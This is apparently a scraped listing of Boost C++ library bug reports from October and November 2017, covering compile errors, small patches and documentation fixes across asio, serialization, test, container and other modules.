/usr/include/boost/asio/basic_socket_streambuf.hpp: In instantiation of ‘boost::asio::basic_socket_streambuf<Protocol, StreamSocketService, Time, TimeTraits, TimerService>* boost::asio::basic_socket_streambuf<Protocol, StreamSocketService, Time, TimeTraits, TimerService>::connect(T ...) [with T = {const char*}; Protocol = boost::asio::local::stream_protocol; StreamSocketService = boost::asio::stream_socket_service<boost::asio::local::stream_protocol>; Time = boost::posix_time::ptime; TimeTraits = boost::asio::time_traits<boost::posix_time::ptime>; TimerService = boost::asio::deadline_timer_service<boost::posix_time::ptime, boost::asio::time_traits<boost::posix_time::ptime> >]’:
/usr/include/boost/asio/basic_socket_iostream.hpp:167:32:   required from ‘boost::asio::basic_socket_iostream<Protocol, StreamSocketService, Time, TimeTraits, TimerService>::basic_socket_iostream(T ...) [with T = {const char*}; Protocol = boost::asio::local::stream_protocol; StreamSocketService = boost::asio::stream_socket_service<boost::asio::local::stream_protocol>; Time = boost::posix_time::ptime; TimeTraits = boost::asio::time_traits<boost::posix_time::ptime>; TimerService = boost::asio::deadline_timer_service<boost::posix_time::ptime, boost::asio::time_traits<boost::posix_time::ptime> >]’
boost_bug.cpp:4:74:   required from here
/usr/include/boost/asio/basic_socket_streambuf.hpp:204:41: error: no type named ‘resolver’ in ‘class boost::asio::local::stream_protocol’
     typedef typename Protocol::resolver resolver_type;

The following is an example source file that reproduces the bug:

#include <boost/asio.hpp>
int main() {
    boost::asio::local::stream_protocol::iostream stream("/tmp/test_sock");
}

#13291: read_until won't compile with Visual Studio 2017 using regex

Thu, 09 Nov 2017 10:10:57 GMT

Compiling following code will produce compiler error

#include <boost/asio/io_service.hpp>
#include <boost/asio/ip/tcp.hpp>
#include <boost/asio/read_until.hpp>
#include <boost/asio/streambuf.hpp>
#include <boost/regex.hpp>
int main() {
	boost::asio::io_service ios;
	boost::asio::ip::tcp::socket s(ios);
	boost::asio::streambuf b;
	boost::system::error_code e;
	boost::asio::read_until(s, b, boost::regex("i am just a regex"), e);
}

1>d:\source\boost\boost\asio\impl\read_until.hpp(273): error C2664: 'size_t boost::asio::basic_streambuf<std::allocator<char>>::read_size_helper(boost::asio::basic_streambuf<std::allocator<char>> &,::size_t)': cannot convert argument 1 from 'boost::asio::basic_streambuf_ref<Allocator>' to 'boost::asio::basic_streambuf<std::allocator<char>> &'
1>        with
1>        [
1>            Allocator=std::allocator<char>
1>        ]
1>d:\source\boost\boost\asio\impl\read_until.hpp(404): note: see reference to function template instantiation 'size_t boost::asio::read_until<SyncReadStream,boost::asio::basic_streambuf_ref<Allocator>>(SyncReadStream &,DynamicBuffer &&,const boost::regex &,boost::system::error_code &)' being compiled
1>        with
1>        [
1>            SyncReadStream=boost::asio::ip::tcp::socket,
1>            Allocator=std::allocator<char>,
1>            DynamicBuffer=boost::asio::basic_streambuf_ref<std::allocator<char>>
1>        ]
1>c:\users\????\error.cpp(12): note: see reference to function template instantiation 'size_t boost::asio::read_until<boost::asio::ip::tcp::socket,std::allocator<char>>(SyncReadStream &,boost::asio::basic_streambuf<std::allocator<char>> &,const boost::regex &,boost::system::error_code &)' being compiled
1>        with
1>        [
1>            SyncReadStream=boost::asio::ip::tcp::socket
1>        ]

This can be solved by using same calculation as other methods use

    // Need more data.
	std::size_t bytes_to_read = std::min<std::size_t>(
		std::max<std::size_t>(512, b.capacity() - b.size()),
		std::min<std::size_t>(65536, b.max_size() - b.size()));

instead of

    std::size_t bytes_to_read = read_size_helper(b, 65536);

#13289: Generating default locale from envronment variables (LC_ALL, LANG) is in wrong order

Mon, 06 Nov 2017 13:47:43 GMT

When generating locale with empty string, we infer the locale from the environment variables. The current order is

LC_CTYPE
LC_ALL
LANG

As per POSIX, see chapter 8.2, and linux man-pages, see man locale.7 (can't post links, the system forbids) the order should be

LC_ALL
LC_CTYPE
LANG

The fix is trivial in the function boost::locale::util::get_system_locale()

#13287: Broken wchar EQUAL

stier08@… — Sat, 04 Nov 2017 22:07:01 GMT

boost: boost_1_65_1-msvc-14.1-32.exe

Problem description: BOOST_REQUIRE_EQUAL does not work with unicode arguments on windows platform with official boost dlls.

Namely does not

1) compile with std::wstring (see example 1 below)

2) link with wchar_t* (see example 2 below)

arguments on windows platform with official boost dlls.

Some analysis from my side.

Could not test static libraries, as could not figure out how to link against official static libs.

I was able to build static boost test lib manually as described at http://www.boost.org/doc/libs/1_65_1/libs/test/doc/html/boost_test/adv_scenarios/static_lib_customizations/entry_point.html. I.e. b2 --with-test link=static define=BOOST_TEST_NO_MAIN define=BOOST_TEST_ALTERNATIVE_INIT_API

and make BOOST_REQUIRE_EQUAL to accept wchar_t. See example 3 below. Unfortunately example 3 did not compile with official binaries (?!)

boost::test_tools::tt_detail::equal_impl(wchar_t const *,wchar_t const *) is lost in dlls, but available in static lib. In boost_1_54_0-msvc-11.0-32.exe however, equal_impl(wchar_t const *,wchar_t const *) is available in boost_unit_test_framework-vc110-1_54.dll.

--- Example 1 ---

#include <iostream>
#include <memory>
#include <string>
#define BOOST_TEST_MODULE test_module_name
#define BOOST_TEST_DYN_LINK
#define BOOST_TEST_NO_MAIN
#include <boost/test/unit_test.hpp>
BOOST_AUTO_TEST_SUITE( boost_my_test  );
BOOST_AUTO_TEST_CASE(boost_my_test_1)
{
  std::wstring v1(L"a");
  std::wstring v2(L"a");
  BOOST_REQUIRE_EQUAL(v1, v2);
}
BOOST_AUTO_TEST_SUITE_END();
int main(int argc, char* argv[], char* envp[])
{
  return boost::unit_test::unit_test_main( &init_unit_test, argc, argv );
}

Error:

D:\LIBS\boost\boost-1_65_1\boost/test/tools/detail/print_helper.hpp(52): error C2338: Type has to implement operator<< to be printable
D:\LIBS\boost\boost-1_65_1\boost/test/tools/detail/print_helper.hpp(61): note: see reference to function template instantiation 'std::ostream &boost::test_tools::tt_detail::impl::boost_test_print_type<R>(std::ostream &,const T &)' being compiled
        with
        [
            R=std::wstring,
            T=std::wstring
        ]

--- Example 2 ---

#include <iostream>
#include <memory>
#include <string>
#define BOOST_TEST_MODULE test_module_name
#define BOOST_TEST_DYN_LINK
#define BOOST_TEST_NO_MAIN
#include <boost/test/unit_test.hpp>
BOOST_AUTO_TEST_SUITE( boost_my_test  );
BOOST_AUTO_TEST_CASE(boost_my_test_1)
{
  const wchar_t* v1 = L"a";
  const wchar_t* v2 = L"a";
  BOOST_REQUIRE_EQUAL(v1, v2);
}
BOOST_AUTO_TEST_SUITE_END();
int main(int argc, char* argv[], char* envp[])
{
  return boost::unit_test::unit_test_main( &init_unit_test, argc, argv );
}

Error:

 error LNK2001: unresolved external symbol "__declspec(dllimport) class boost::test_tools::assertion_result __cdecl boost::test_tools::tt_detail::equal_impl(wchar_t const *,wchar_t const *)" (__imp_?equal_impl@tt_detail@test_tools@boost@@YA?AVassertion_result@23@PB_W0@Z)

-- Example 3 --

#include <iostream>
#include <memory>
#include <string>
#define BOOST_TEST_MODULE test_module_name
#define BOOST_TEST_NO_MAIN
#define BOOST_TEST_ALTERNATIVE_INIT_API
#include <boost/test/unit_test.hpp>
BOOST_AUTO_TEST_SUITE( boost_my_test  );
BOOST_AUTO_TEST_CASE(boost_my_test_1)
{
  const wchar_t* v1 = L"a";
  const wchar_t* v2 = L"a";
  BOOST_REQUIRE_EQUAL(v1, v2);
}
BOOST_AUTO_TEST_SUITE_END();
int main(int argc, char* argv[], char* envp[])
{
  return boost::unit_test::unit_test_main(init_unit_test, argc, argv);
}

#13286: warning C4141: 'dllexport': used more than once

tsondergaard@… — Sat, 04 Nov 2017 21:03:18 GMT

The following warnings are emitted by Visual Studio 2017 when using boost/serialization as a shared library (and defining BOOST_ALL_DYN_LINK when using the library):

C:\...\boost\include\boost-1_65_1\boost/archive/codecvt_null.hpp(68): warning C4141: 'dllexport': used more than once
C:\...\boost\include\boost-1_65_1\boost/archive/codecvt_null.hpp(78): warning C4141: 'dllexport': used more than once
C:\...\boost\include\boost-1_65_1\boost/serialization/singleton.hpp(94): warning C4141: 'dllexport': used more than once

The problem is use of BOOST_*_DECL and BOOST_DLLEXPORT at the same time. Removing the BOOST_DLLEXPORT macro from those lines as done in the following patch fixes the problem.

diff --git a/boost/include/boost-1_65_1/boost/archive/codecvt_null.hpp b/boost/include/boost-1_65_1/boost/archive/codecvt_null.hpp
index 7bce2b9b..332ae9f9 100644
--- a/boost/include/boost-1_65_1/boost/archive/codecvt_null.hpp
+++ b/boost/include/boost-1_65_1/boost/archive/codecvt_null.hpp
@@ -65,7 +65,7 @@ public:
 template<>
 class BOOST_SYMBOL_VISIBLE codecvt_null<wchar_t> : public std::codecvt<wchar_t, char, std::mbstate_t>
 {
-    virtual BOOST_WARCHIVE_DECL BOOST_DLLEXPORT std::codecvt_base::result
+    virtual BOOST_WARCHIVE_DECL std::codecvt_base::result
     do_out(
         std::mbstate_t & state,
         const wchar_t * first1,
@@ -75,7 +75,7 @@ class BOOST_SYMBOL_VISIBLE codecvt_null<wchar_t> : public std::codecvt<wchar_t,
         char * last2,
         char * & next2
     ) const BOOST_USED;
-    virtual BOOST_WARCHIVE_DECL BOOST_DLLEXPORT std::codecvt_base::result
+    virtual BOOST_WARCHIVE_DECL std::codecvt_base::result
     do_in(
         std::mbstate_t & state,
         const char * first1,
diff --git a/boost/include/boost-1_65_1/boost/serialization/singleton.hpp b/boost/include/boost-1_65_1/boost/serialization/singleton.hpp
index b50afedb..b9e470fa 100644
--- a/boost/include/boost-1_65_1/boost/serialization/singleton.hpp
+++ b/boost/include/boost-1_65_1/boost/serialization/singleton.hpp
@@ -91,7 +91,7 @@ class BOOST_SYMBOL_VISIBLE singleton_module :
     public boost::noncopyable
 {
 private:
-    BOOST_SERIALIZATION_DECL BOOST_DLLEXPORT static bool & get_lock() BOOST_USED;
+    BOOST_SERIALIZATION_DECL static bool & get_lock() BOOST_USED;
 public:
     BOOST_DLLEXPORT static void lock(){
         get_lock() = true;

#13285: clang-tidy analyzer complains about uninitialized variable

Fri, 03 Nov 2017 23:19:19 GMT

Clang tidy complains about uninitialized variable here:

/usr/local/boost-1.64.0/include/boost/process/detail/child_decl.hpp:169:17: error: 1st function call argument is an uninitialized value [clang-analyzer-core.CallAndMessage,-warnings-as-errors]

_exit_status->store(code);

/code/core/source/cpp/private/libs/SensorInterface/Velodyne/tests/PacketDecoderTest.cc:96:13: note: Calling constructor for 'child'

bp::child call_script(bp::search_path("bash"), get_res_script);

/usr/local/boost-1.64.0/include/boost/process/child.hpp:35:13: note: Calling 'execute_impl'

: child(::boost::process::detail::execute_impl(std::forward<Args>(args)...)) {}

/usr/local/boost-1.64.0/include/boost/process/detail/execute_impl.hpp:275:12: note: Calling 'basic_execute_impl'

return basic_execute_impl<req_char_type>(

/usr/local/boost-1.64.0/include/boost/process/detail/execute_impl.hpp:267:12: note: Calling 'executor::operator()'

return exec();

/usr/local/boost-1.64.0/include/boost/process/detail/posix/executor.hpp:312:16: note: Calling 'executor::invoke'

return invoke(has_ignore_error(), shall_use_vfork());

/usr/local/boost-1.64.0/include/boost/process/detail/posix/executor.hpp:371:9: note: Assuming the condition is false

if (::pipe(p) == -1)

/usr/local/boost-1.64.0/include/boost/process/detail/posix/executor.hpp:371:5: note: Taking false branch

if (::pipe(p) == -1)

/usr/local/boost-1.64.0/include/boost/process/detail/posix/executor.hpp:376:9: note: Assuming the condition is false

if (::fcntl(p[1], F_SETFD, FD_CLOEXEC) == -1)

/usr/local/boost-1.64.0/include/boost/process/detail/posix/executor.hpp:376:5: note: Taking false branch

if (::fcntl(p[1], F_SETFD, FD_CLOEXEC) == -1)

/usr/local/boost-1.64.0/include/boost/process/detail/posix/executor.hpp:384:5: note: Taking false branch

if (_ec)

/usr/local/boost-1.64.0/include/boost/process/detail/posix/executor.hpp:391:9: note: Assuming the condition is false

if (pid == -1)

/usr/local/boost-1.64.0/include/boost/process/detail/posix/executor.hpp:391:5: note: Taking false branch

if (pid == -1)

/usr/local/boost-1.64.0/include/boost/process/detail/posix/executor.hpp:400:14: note: Assuming the condition is false

else if (pid == 0)

/usr/local/boost-1.64.0/include/boost/process/detail/posix/executor.hpp:400:10: note: Taking false branch

else if (pid == 0)

/usr/local/boost-1.64.0/include/boost/process/detail/posix/executor.hpp:428:5: note: Taking true branch

if (_ec)

/usr/local/boost-1.64.0/include/boost/process/detail/posix/executor.hpp:431:22: note: Calling '~child'

return child();

/usr/local/boost-1.64.0/include/boost/process/detail/child_decl.hpp:93:13: note: Left side of '&&' is true

if (_attached && !_exited() && running(ec))

/usr/local/boost-1.64.0/include/boost/process/detail/child_decl.hpp:93:13: note: Left side of '&&' is true /usr/local/boost-1.64.0/include/boost/process/detail/child_decl.hpp:93:40: note: Calling 'child::running'

if (_attached && !_exited() && running(ec))

/usr/local/boost-1.64.0/include/boost/process/detail/child_decl.hpp:164:13: note: Left side of '&&' is true

if (valid() && !_exited())

/usr/local/boost-1.64.0/include/boost/process/detail/child_decl.hpp:164:9: note: Taking true branch

if (valid() && !_exited())

/usr/local/boost-1.64.0/include/boost/process/detail/child_decl.hpp:166:13: note: 'code' declared without an initial value

int code;

/usr/local/boost-1.64.0/include/boost/process/detail/child_decl.hpp:167:24: note: Calling 'is_running'

auto res = boost::process::detail::api::is_running(_child_handle, code, ec);

/usr/local/boost-1.64.0/include/boost/process/detail/posix/is_running.hpp:47:9: note: Assuming the condition is true

if (ret == -1)

/usr/local/boost-1.64.0/include/boost/process/detail/posix/is_running.hpp:47:5: note: Taking true branch

if (ret == -1)

/usr/local/boost-1.64.0/include/boost/process/detail/posix/is_running.hpp:49:13: note: Assuming the condition is false

if (errno != ECHILD) because it no child is running, than this one isn't either, obviously.

/usr/include/x86_64-linux-gnu/bits/errno.h:54:18: note: expanded from macro 'errno' # define errno (*errno_location ())

/usr/local/boost-1.64.0/include/boost/process/detail/posix/is_running.hpp:49:9: note: Taking false branch

if (errno != ECHILD) because it no child is running, than this one isn't either, obviously.

/usr/local/boost-1.64.0/include/boost/process/detail/child_decl.hpp:167:24: note: Returning from 'is_running'

auto res = boost::process::detail::api::is_running(_child_handle, code, ec);

/usr/local/boost-1.64.0/include/boost/process/detail/child_decl.hpp:168:17: note: Left side of '&&' is true

if (!res && !_exited())

/usr/local/boost-1.64.0/include/boost/process/detail/child_decl.hpp:168:13: note: Taking true branch

if (!res && !_exited())

/usr/local/boost-1.64.0/include/boost/process/detail/child_decl.hpp:169:17: note: 1st function call argument is an uninitialized value

_exit_status->store(code);

#13282: Allocator compilation problems with gcc 4.8.1

apmanol@… — Tue, 31 Oct 2017 18:08:27 GMT

Hello all,

thanks for providing this great software. Just a remark, when I tried to use the allocators with gcc 4.8.x it fails during the instantiation.

#include <set>
#include <boost/container/allocator.hpp>
#include <boost/container/adaptive_pool.hpp>
int foo()
{
    using myset= std::set<int, std::less<int>, boost::container::allocator<int>>;
    myset test_set;
    return 1;
}

fails with

In file included from /opt/compiler-explorer/gcc-4.8.5/include/c++/4.8.5/set:60:0,
                 from <source>:1:
/opt/compiler-explorer/gcc-4.8.5/include/c++/4.8.5/bits/stl_tree.h: In instantiation of 'void std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, _Alloc>::_M_destroy_node(std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, _Alloc>::_Link_type) [with _Key = int; _Val = int; _KeyOfValue = std::_Identity<int>; _Compare = std::less<int>; _Alloc = boost::container::allocator<int>; std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, _Alloc>::_Link_type = std::_Rb_tree_node<int>*]':
/opt/compiler-explorer/gcc-4.8.5/include/c++/4.8.5/bits/stl_tree.h:1127:23:   required from 'void std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, _Alloc>::_M_erase(std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, _Alloc>::_Link_type) [with _Key = int; _Val = int; _KeyOfValue = std::_Identity<int>; _Compare = std::less<int>; _Alloc = boost::container::allocator<int>; std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, _Alloc>::_Link_type = std::_Rb_tree_node<int>*]'
/opt/compiler-explorer/gcc-4.8.5/include/c++/4.8.5/bits/stl_tree.h:671:28:   required from 'std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, _Alloc>::~_Rb_tree() [with _Key = int; _Val = int; _KeyOfValue = std::_Identity<int>; _Compare = std::less<int>; _Alloc = boost::container::allocator<int>]'
/opt/compiler-explorer/gcc-4.8.5/include/c++/4.8.5/bits/stl_set.h:90:11:   required from here
/opt/compiler-explorer/gcc-4.8.5/include/c++/4.8.5/bits/stl_tree.h:421:2: error: 'std::_Rb_tree<int, int, std::_Identity<int>, std::less<int>, boost::container::allocator<int> >::_Node_allocator' has no member named 'destroy'
  _M_get_Node_allocator().destroy(__p);
  ^
Compiler exited with result code 1

#13281: How to build with NDK

salih.yucel@… — Mon, 30 Oct 2017 19:52:23 GMT

Hi, I use to VS2017 for Cross platform c++. NDK version rb13. Visual stuido start build use to arm-linux-androideabi-gcc.exe but Boost build start not use arm-linux-androideabi-gcc.exe.boost is how use to arm-linux-androideabi-gcc.exe

#13278: interprocess_sharable_mutex::unlock_sharable() bug when counter is already equal to 0

arnaud.gody@… — Fri, 27 Oct 2017 16:10:32 GMT

The patch provided fixes a bug on interprocess sharable mutex. The sharable counter is wrap around when unlock_sharable function is called and counter is already equal to 0.

#13277: State explicitly in the docs that Boost.Containers don't allocate in the default constructor

dariomt@… — Fri, 27 Oct 2017 08:14:15 GMT

The docs are not explicit about this, so I believe it would be an improvement to clarify this explicitly stating that Boost.Containers don't allocate in the default constructor.

#13276: circular_buffer pulls in exception handling code

anonymous — Thu, 26 Oct 2017 19:08:26 GMT

circular_buffer as shipped doesn't work for embedded applications - it ends up adding EH (and thus printf, etc.), which adds unacceptable bloat for devices without much flash. The problem is that, even if you create a non-throwing allocator, circular_buffer::allocate(size_type n) still first checks n against the allocator's max_size(), and throws if it is too large.

As I understand it, an allocator should throw/assert anyway (depending on whether it's using EH or not) if you try to allocate() more than max_size(), so I've been patching by deleting the involved lines:

-        if (n > max_size())
-            throw_exception(std::length_error("circular_buffer"));

These lines should at least get excluded from compilation, or replaced with an assert, if BOOST_NOEXCEPT is defined.

#13275: flat_map's allocator_type constructor could potentially produce invalid output in optimization

jasonliu.development@… — Wed, 25 Oct 2017 19:49:59 GMT

In class flat_map, we have constructor:

BOOST_CONTAINER_FORCEINLINE explicit flat_map(const allocator_type& a)
      : m_flat_tree(container_detail::force<const impl_allocator_type>(a))
   {}

This could cause a problem.

Impl_allocator_type is

typedef typename impl_tree_t::allocator_type          impl_allocator_type;

And impl_tree_t is

typedef container_detail::flat_tree<
                           container_detail::pair<Key, T>,
                           container_detail::select1st<Key>,
                           Compare,
                           typename allocator_traits<Allocator>::template portable_rebind_alloc
                              <container_detail::pair<Key, T> >::type> impl_tree_t;

container_detail::force() is doing an reinterpret_cast essentially. Let's say argument a is

allocator< std::pair<Key, T> >

Then if we are calling that constructor, we are actually reinterpret_cast argument 'a' from

allocator< std::pair<Key, T> >

allocator< container_detail::pair<Key, T> >

While the program could run fine in no-opt because std::pair and container_detail::pair could be very similar and swappable, the program could produce invalid result when compiler turn on optimization. Compiler would find no alias information between allocator<std::pair<Key, T>> and allocator<container_detail::pair<Key, T>>, and think they are not related and move things around to produce invalid result.

#13274: boost.filesystem compile problem on Android

Wed, 25 Oct 2017 08:48:40 GMT

Hello, in attempt to build boost for android with more or less reasonable strict settings (-Werror) I uncovered some bugs which I cannot report on github because these projects have Issues disabled.

/usr/local/opt/android-ndk/android-ndk-r16-beta1//sources/android/support/include/stdio.h:36:25: error: invalid token at start of a p
reprocessor expression
#if __USE_FILE_OFFSET64 && __ANDROID_API__ < __ANDROID_API_N__

This happens because filesystem defines a "harmless" macro:

libs/filesystem/src/operations.cpp:18:9: warning: '__USE_FILE_OFFSET64' macro redefined [-Wmacro-redefined]
#define __USE_FILE_OFFSET64 // but that is harmless on Windows and on POSIX
        ^

While this check was #if defined(__USE_FILE_OFFSET64) in previous android versions, it seems to have changed when they introduced unified headers. It's probably more "harmless" to define an integer value in boost.filesystem rather than persuade Google to fix their code.

#13273: boost.program_options compile problems on Android

Wed, 25 Oct 2017 08:44:11 GMT

Hello, in attempt to build boost for android with more or less reasonable strict settings (-Werror) I uncovered some bugs which I cannot report on github because these projects have Issues disabled.

clang-darwin.compile.c++ android-build/boost/bin.v2/
libs/program_options/build/clang-darwin-5.0~x86/debug/
address-model-32/link-stati
c/target-os-android/threading-multi/cmdline.o
libs/program_options/src/cmdline.cpp:104:41: error: declaration shadows a
field of 'boost::program_options::detail::cmdline' [-Werror
,-Wshadow]
    cmdline::init(const vector<string>& args)
                                        ^
./boost/program_options/detail/cmdline.hpp:139:34: note: previous
declaration is here
        std::vector<std::string> args;
                                 ^
libs/program_options/src/cmdline.cpp:508:48: error: declaration shadows a
field of 'boost::program_options::detail::cmdline' [-Werror
,-Wshadow]
    cmdline::parse_long_option(vector<string>& args)
                                               ^
./boost/program_options/detail/cmdline.hpp:139:34: note: previous
declaration is here
        std::vector<std::string> args;
                                 ^
libs/program_options/src/cmdline.cpp:545:49: error: declaration shadows a
field of 'boost::program_options::detail::cmdline' [-Werror,-Wshadow]
    cmdline::parse_short_option(vector<string>& args)
                                                ^
./boost/program_options/detail/cmdline.hpp:139:34: note: previous
declaration is here
        std::vector<std::string> args;
                                 ^
libs/program_options/src/cmdline.cpp:611:47: error: declaration shadows a
field of 'boost::program_options::detail::cmdline' [-Werror,-Wshadow]
    cmdline::parse_dos_option(vector<string>& args)
                                              ^
./boost/program_options/detail/cmdline.hpp:139:34: note: previous
declaration is here
        std::vector<std::string> args;
                                 ^
libs/program_options/src/cmdline.cpp:632:58: error: declaration shadows a
field of 'boost::program_options::detail::cmdline' [-Werror,-Wshadow]
    cmdline::parse_disguised_long_option(vector<string>& args)
                                                         ^
./boost/program_options/detail/cmdline.hpp:139:34: note: previous
declaration is here
        std::vector<std::string> args;
                                 ^
libs/program_options/src/cmdline.cpp:663:47: error: declaration shadows a
field of 'boost::program_options::detail::cmdline' [-Werror,-Wshadow]
    cmdline::parse_terminator(vector<string>& args)
                                              ^
./boost/program_options/detail/cmdline.hpp:139:34: note: previous
declaration is here
        std::vector<std::string> args;
                                 ^
libs/program_options/src/cmdline.cpp:683:55: error: declaration shadows a
field of 'boost::program_options::detail::cmdline' [-Werror,-Wshadow]
    cmdline::handle_additional_parser(vector<string>& args)
                                                      ^
./boost/program_options/detail/cmdline.hpp:139:34: note: previous
declaration is here
        std::vector<std::string> args;
                                 ^
7 errors generated.
    "/usr/local/opt/android-ndk/android-ndk-r16-beta1//
toolchains/llvm/prebuilt/darwin-x86_64/bin/clang++"
"-DBOOST_AC_USE_PTHREADS" "-DBOOST_SP_USE_PTHREADS" "-fvisibility=hidden"
"-fvisibility-inlines-hidden" "-Wno-unused-local-typedef" -x c++ -std=c++14
-O0 -g -O0 -fno-inline -Wall -g --target=i686-none-linux-android
--gcc-toolchain=/usr/local/opt/android-ndk/android-ndk-
r16-beta1//toolchains/x86-4.9/prebuilt/darwin-x86_64
--sysroot=/usr/local/opt/android-ndk/android-ndk-r16-beta1//sysroot
-isystem /usr/local/opt/android-ndk/android-ndk-r16-beta1//
sources/cxx-stl/llvm-libc++/include -isystem /usr/local/opt/android-ndk/
android-ndk-r16-beta1//sources/cxx-stl/llvm-libc++abi/include -isystem
/usr/local/opt/android-ndk/android-ndk-r16-beta1//sources/android/support/include
-isystem /usr/local/opt/android-ndk/android-ndk-r16-beta1//sysroot/usr/include
-isystem /usr/local/opt/android-ndk/android-ndk-r16-beta1//
sysroot/usr/include/i686-linux-android -DANDROID -D__ANDROID_API__=21
-ffunction-sections -funwind-tables -fstack-protector-strong
-fno-limit-debug-info -fPIC -no-canonical-prefixes -mstackrealign
-Wa,--noexecstack -Wformat -Werror=format-security -Wall -Werror -Wshadow
-march=i686 -DBOOST_ALL_NO_LIB=1 -D_LITTLE_ENDIAN -I"." -c -o
"android-build/boost/bin.v2/libs/program_options/build/
clang-darwin-5.0~x86/debug/address-model-32/link-static/
target-os-android/threading-multi/cmdline.o" "libs/program_options/src/
cmdline.cpp"

#13272: boost.serialization compile problem on Android

Wed, 25 Oct 2017 08:42:43 GMT

Hello, in attempt to build boost for android with more or less reasonable strict settings (-Werror) I uncovered some bugs which I cannot report on github because these projects have Issues disabled.

clang-darwin.compile.c++ android-build/boost/bin.v2/
libs/serialization/build/clang-darwin-5.0~x86/debug/
address-model-32/link-static/target-os-android/threading-
multi/polymorphic_iarchive.o
In file included from libs/serialization/src/polymorphic_iarchive.cpp:20:
In file included from ./boost/archive/polymorphic_iarchive.hpp:32:
./boost/archive/detail/iserializer.hpp:69:7: error: macro expansion
producing 'defined' has undefined behavior [-Werror,-Wexpansion-to-defined]
#if ! DONT_USE_HAS_NEW_OPERATOR
      ^
./boost/archive/detail/iserializer.hpp:63:12: note: expanded from macro
'DONT_USE_HAS_NEW_OPERATOR'
        || defined(__SUNPRO_CC) && (__SUNPRO_CC < 0x590) \
           ^
./boost/archive/detail/iserializer.hpp:212:9: error: macro expansion
producing 'defined' has undefined behavior [-Werror,-Wexpansion-to-defined]
    #if DONT_USE_HAS_NEW_OPERATOR
        ^
./boost/archive/detail/iserializer.hpp:63:12: note: expanded from macro
'DONT_USE_HAS_NEW_OPERATOR'
        || defined(__SUNPRO_CC) && (__SUNPRO_CC < 0x590) \
           ^
2 errors generated.
    "/usr/local/opt/android-ndk/android-ndk-r16-beta1//
toolchains/llvm/prebuilt/darwin-x86_64/bin/clang++"
"-DBOOST_AC_USE_PTHREADS" "-DBOOST_SP_USE_PTHREADS" "-fvisibility=hidden"
"-fvisibility-inlines-hidden" "-Wno-unused-local-typedef" -x c++
-ftemplate-depth-255 -fvisibility=hidden -fvisibility-inlines-hidden
-std=c++14 -O0 -g -O0 -fno-inline -Wall -g --target=i686-none-linux-android
--gcc-toolchain=/usr/local/opt/android-ndk/android-ndk-
r16-beta1//toolchains/x86-4.9/prebuilt/darwin-x86_64
--sysroot=/usr/local/opt/android-ndk/android-ndk-r16-beta1//sysroot
-isystem /usr/local/opt/android-ndk/android-ndk-r16-beta1//
sources/cxx-stl/llvm-libc++/include -isystem /usr/local/opt/android-ndk/
android-ndk-r16-beta1//sources/cxx-stl/llvm-libc++abi/include -isystem
/usr/local/opt/android-ndk/android-ndk-r16-beta1//sources/android/support/include
-isystem /usr/local/opt/android-ndk/android-ndk-r16-beta1//sysroot/usr/include
-isystem /usr/local/opt/android-ndk/android-ndk-r16-beta1//
sysroot/usr/include/i686-linux-android -DANDROID -D__ANDROID_API__=21
-ffunction-sections -funwind-tables -fstack-protector-strong
-fno-limit-debug-info -fPIC -no-canonical-prefixes -mstackrealign
-Wa,--noexecstack -Wformat -Werror=format-security -Wall -Werror -Wshadow
-march=i686 -DBOOST_ALL_NO_LIB=1 -D_LITTLE_ENDIAN -I"." -c -o
"android-build/boost/bin.v2/libs/serialization/build/
clang-darwin-5.0~x86/debug/address-model-32/link-static/
target-os-android/threading-multi/polymorphic_iarchive.o"
"libs/serialization/src/polymorphic_iarchive.cpp"

#13270: BOOST_CLASS_EXPORT(some_template<>) fails to load pointers

Mon, 23 Oct 2017 09:13:31 GMT

After upgrading from 1.56.0 to 1.65.1 loading pointers with xml_warchive to a template with default template arguments no longer works.

 BOOST_EXPORT_CLASS(some_template<>)
 ptr *some_base_class;
 ar & make_nvp("ptr", ptr);

Saving works okay, loading fails => the type cannot be found. The problem seems to be related to the <> characters in the default template argument of the BOOST_CLASS_EXPORT. Debugging the serialization code I see that the serialization internal key[] now reads some_template&lt<>. Note the "&lt" and the "<" character. I haven't checked 1.56.0, but my guess is that it was probably some_template&lt&gt.

At any rate, having &lt< is definitely wrong, as &lt is, of course, escaped <.

Changing BOOST_CLASS_EXPORT to BOOST_CLASS_EXPORT_GUID and specifying the correct key seems to work okay.

#13269: Wrong docu for uniform_real-distribution

Flamefire — Sun, 22 Oct 2017 19:47:20 GMT

The documentation for the params of uniform real distribution states "min <= max" as the requirement: https://github.com/boostorg/random/blob/b58774fd5449609ede3ff80d4b82574c8e9094c6/include/boost/random/uniform_real_distribution.hpp#L99

This should be "min < max".

#13268: Exception thrown: write access violation.

Sat, 21 Oct 2017 10:18:08 GMT

I'm using boost::interprocess to make an asynchronous queue for IPC. I put the source code at https://github.com/wronso/AsyncQue. However, it sometimes throws write access violation exception. The environment is given as below:

OS: Windows 10 Pro, Version:1709, Build:16299.19
Compiler: Visual Studio Professional 2017, Version 15.4.1
Boost Version: 1.65.1

Reproduce Steps:

Git clone and open ipc.sln
Build Develop | x64
Run

Results: It sometimes throws write access violation exception.

And I'm seeing 2 kinds of call stacks when the exception occurs. I've attached them as file: exception1.txt and exception2.txt

#13267: b2 doesn't recognize ZLIB options other than ZLIB_SOURCE

Fri, 20 Oct 2017 13:16:09 GMT

Building Boost 1.65.1 on Windows with msvc-12.0.

b2 doesn't detect zlib with the command line below:

b2 toolset=msvc-12.0 --with-iostreams -sZLIB_INCLUDE=D:/Libraries/zlib-1.2.11/stage/x86/include -sZLIB_LIBRARY_PATH=D:/Libraries/zlib-1.2.11/stage/x86/lib -sZLIB_NAME=zlib variant=debug link=shared --stagedir=stage/x86 stage

and the following line is emitted:

    - zlib                     : no  (cached)

b2 detects zlib only when ZLIB_SOURCE is specified. However, since I built zlib with CMake and INSTALLed on different directory, zconf.h doesn't exist on the directory under the source directory from which Boost is about to include the file from. A workaround is to copy zconf.h from the actual include directory into the source directory when I run b2 and delete it after building is finished.

#13265: boost atomic lib memory_order error

haisql@… — Thu, 19 Oct 2017 11:08:26 GMT

boost atomic lib memory_order error.

someone deleted memory_order_release/memory_order_acquire code, which should be translate to sfence/lfence , but now you see that they were removed.

